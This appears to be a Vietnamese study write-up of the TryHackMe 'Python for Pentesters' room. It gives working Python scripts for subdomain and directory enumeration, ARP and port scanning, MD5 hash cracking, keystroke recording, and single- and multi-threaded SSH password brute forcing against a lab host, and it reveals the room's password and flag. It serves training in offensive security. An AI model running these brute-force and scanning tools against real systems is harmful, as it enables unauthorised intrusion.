Introduction
Chúng ta có thể sử dụng Python để tự động hóa các tác vụ khi thực hiện pentest. Các đoạn script có thể được biên dịch thành file executable cho Windows thông qua PyInstaller hoặc py2exe.
Một số thư viện Python hữu ích cho pentester:
- Requests - thư viện HTTP đơn giản.
- Scapy - gửi, lắng nghe, phân tích và làm giả các gói tin network.
- Pwntools - một thư viện dành cho CTF và phát triển exploit.
Subdomain Enumeration
Cách hoạt động: sử dụng một danh sách các subdomain có sẵn và gắn vào trước URL rồi thử mở kết nối HTTP đến các subdomain đó.
Ví dụ:
import requests
import sys
sub_list = open("subdomains.txt").read()
subdoms = sub_list.splitlines()
for sub in subdoms:
domain = f"http://{sub}.{sys.argv[1]}"
try:
requests.get(domain)
except requests.ConnectionError:
pass
else:
print("Valid domain: ",domain)
Mảng sys.argv
chứa các CLI argument.
Ngoài HTTP thì ta cũng có thể dùng giao thức DNS để tìm subdomain. Cụ thể, chúng ta có thể gửi DNS query đến DNS server nhằm tìm ra tất cả các subdomain có thể có của một domain nào đó.
Directory Enumeration
Đoạn script sau sẽ bruteforce directory trên trang web:
import requests
import sys
sub_list = open("wordlist.txt").read()
directories = sub_list.splitlines()
for dir in directories:
dir_enum = f"http://{sys.argv[1]}/{dir}.html"
r = requests.get(dir_enum)
if r.status_code==404:
pass
else:
print("Valid directory:" ,dir_enum)
Có thể thấy, đoạn script trên bỏ qua các endpoint có status code là 404.
Chạy đoạn script trên với IP là 10.10.188.58
:
python dir_enum.py 10.10.188.58
Output:
Valid directory: http://10.10.188.58/surfer.html
Valid directory: http://10.10.188.58/private.html
Valid directory: http://10.10.188.58/apollo.html
Valid directory: http://10.10.188.58/index.html
Network Scanner
Có thể dùng Python để xây dựng một ICMP scanner nhằm tìm ra các host trong một network. Tuy nhiên, các gói tin ICMP có thể bị theo dõi hoặc bị chặn bởi hệ thống vì người dùng thường không thực hiện việc ping đến server. Ngoài ra, có một số hệ thống được cấu hình để không phản hồi lại các gói tin ICMP. Vì các lý do này, việc sử dụng ARP để tìm ra các host trong local network sẽ hiệu quả hơn.
Script sau sử dụng thư viện Scapy:
from scapy.all import *
interface = "eth0"
ip_range = "10.10.X.X/24"
broadcastMac = "ff:ff:ff:ff:ff:ff"
packet = Ether(dst=broadcastMac)/ARP(pdst = ip_range)
ans, unans = srp(packet, timeout =2, iface=interface, inter=0.1)
for send,receive in ans:
print (receive.sprintf(r"%Ether.src% - %ARP.psrc%"))
Port Scanner
Xét đoạn script quét port như sau:
import socket
ip = '10.10.188.58'
ports = range(1, 65535)
open_ports =[]
def probe_port(ip, port, result = 1):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
r = sock.connect_ex((ip, port))
if r == 0:
result = r
sock.close()
except Exception as e:
pass
return result
for port in ports:
print(f"probe port {port}")
response = probe_port(ip, port)
if response == 0:
print(f"port {port} is opened")
open_ports.append(port)
if open_ports:
print ("Open Ports are: ")
print (sorted(open_ports))
else:
print ("Looks like no ports are open :(")
Giải thích đoạn script trên:
- Target IP là
10.10.188.58
. - Khoảng port sẽ quét là 1 đến 65535 (lưu trong biến
ports
) - Hàm
probe_port
sẽ mở socket đến port. Nếu mở thành công thì return0
, ngược lại return0
. - Vòng lặp trên
ports
sẽ thêm các port đang mở vào mảngopen_ports
.
File Downloader
Có thể dùng Python để download file tương tự như tool wget
.
Đoạn script dùng để download file:
import requests
url = 'https://assets.tryhackme.com/img/THMlogo.png'
r = requests.get(url, allow_redirects=True)
open('THMlogo.png', 'wb').write(r.content)
Hash Cracker
Module hashlib
trong Python hỗ trợ rất nhiều thuật toán băm mã hóa và có thể hỗ trợ chúng ta crack các giá trị hash.
Ví dụ sau crack MD5 hash:
import hashlib
wordlist_location = str(input('Enter wordlist file location: '))
hash_input = str(input('Enter hash to be cracked: '))
with open(wordlist_location, 'rb') as file:
for line in file.readlines():
hash_ob = hashlib.md5(line.strip())
hashed_pass = hash_ob.hexdigest()
if hashed_pass == hash_input:
print('Found cleartext password! ' + line.strip().decode())
exit(0)
Keyloggers
Module keyboard
cho phép chúng ta tương tác với bàn phím.
Đoạn script sau sẽ ghi lại và lặp lại các phím (kể cả backspace) đã được nhấn:
import keyboard
keys = keyboard.record(until ='ENTER')
keyboard.play(keys)
Có thể thử bằng cách gõ vào một file text rồi nhấn enter.
SSH Brute Forcing
Module Paramiko giúp chúng ta xây dựng các SSH client và server.
Đoạn script bên dưới thực hiện bruteforce password của SSH:
import paramiko
import sys
if len(sys.argv) < 4:
print("Usage: python ssh_bruteforce.py <target> <username> <password_file>")
exit(1)
else:
target = sys.argv[1]
username = sys.argv[2]
password_file = sys.argv[3]
def ssh_connect(password, code=0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(target, port=22, username=username, password=password)
except paramiko.AuthenticationException:
code = 1
ssh.close()
return code
with open(password_file, "rb") as file:
for line in file.readlines():
password = line.strip().decode('utf-8')
try:
response = ssh_connect(password)
if response == 0:
print("password found: " + password)
exit(0)
except Exception as e:
print(e)
pass
Phân tích đoạn script trên:
- Hàm
paramiko.SSHClient()
giúp tạo ra một SSH client. - Hàm
ssh.connect()
giúp mở kết nối SSH đến SSH server. - Nếu có exception
paramiko.AuthenticationException
thì tức là sai mật khẩu. Khi đó, ta dùng hàmssh.close()
để đóng kết nối SSH.
Đoạn script trên chạy khá chậm, sử dụng đa luồng để tối ưu:
import paramiko, sys, threading, time, os, psutil
if len(sys.argv) < 5:
print("Usage: python ssh_bruteforce.py <target> <username> <password_file> <thread_numbers>")
exit(1)
else:
target = sys.argv[1]
username = sys.argv[2]
password_file = sys.argv[3]
thread_numbers = int(sys.argv[4])
def ssh_connect(password, code=0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(target, port=22, username=username, password=password)
except paramiko.AuthenticationException:
code = 1
ssh.close()
return code
def check_pass(passwords):
for i, password in enumerate(passwords):
password = password.strip().decode("utf-8")
try:
res = ssh_connect(password)
if res == 0:
print("password found: " + password)
exit(0) # only exit the current thread
else:
thread_name = threading.current_thread().name
progress = f"{i+1}/{len(passwords)}"
print(f"[{thread_name} - {progress}] invalid password: {password}")
except Exception as e:
print(e)
with open(password_file, "rb") as file:
passwords = file.readlines()
total_passwords = len(passwords)
pass_per_thread = int(total_passwords / thread_numbers)
pass_of_threads = [
passwords[i : i + pass_per_thread]
for i in range(0, total_passwords, pass_per_thread)
]
for i in range(0, thread_numbers):
thread = threading.Thread(target=check_pass, args=(pass_of_threads[i],))
thread.name = f"thread {i+1}"
thread.start()
Trong đoạn script trên, chúng ta phân hoạch danh sách mật khẩu cho n
thread truyền vào.
Nếu số thread quá cao (chẳng hạn lớn hơn 4) thì sẽ xảy ra lỗi khi mở kết nối SSH. Lý do là vì nhiều cấu hình SSH giới hạn số kết nối đồng thời.
Câu lệnh sử dụng:
python3 ssh_bruteforce.py 10.10.8.132 tiffany wordlist.txt 4
Với wordlist.txt
là wordlist của room.
Tìm ra password của tiffany
là trustno1
. Truy cập vào và đọc được flag:
Success
THM-737390028
Extra Challenges
Một số ý tưởng xây dựng script:
- Dùng DNS để tìm subdomain.
- Xây dựng keylogger để gửi các phím đã nhấn về server.
- Lấy banner của các service trên các port mở.
- Crawl website nhằm tải về thư viện JS.
- Thử xây dựng file executable của Windows.
- Dùng đa luồng cho các script chạy bruteforce.
Related
list
from outgoing([[TryHackMe - Python for Pentesters]])
sort file.ctime asc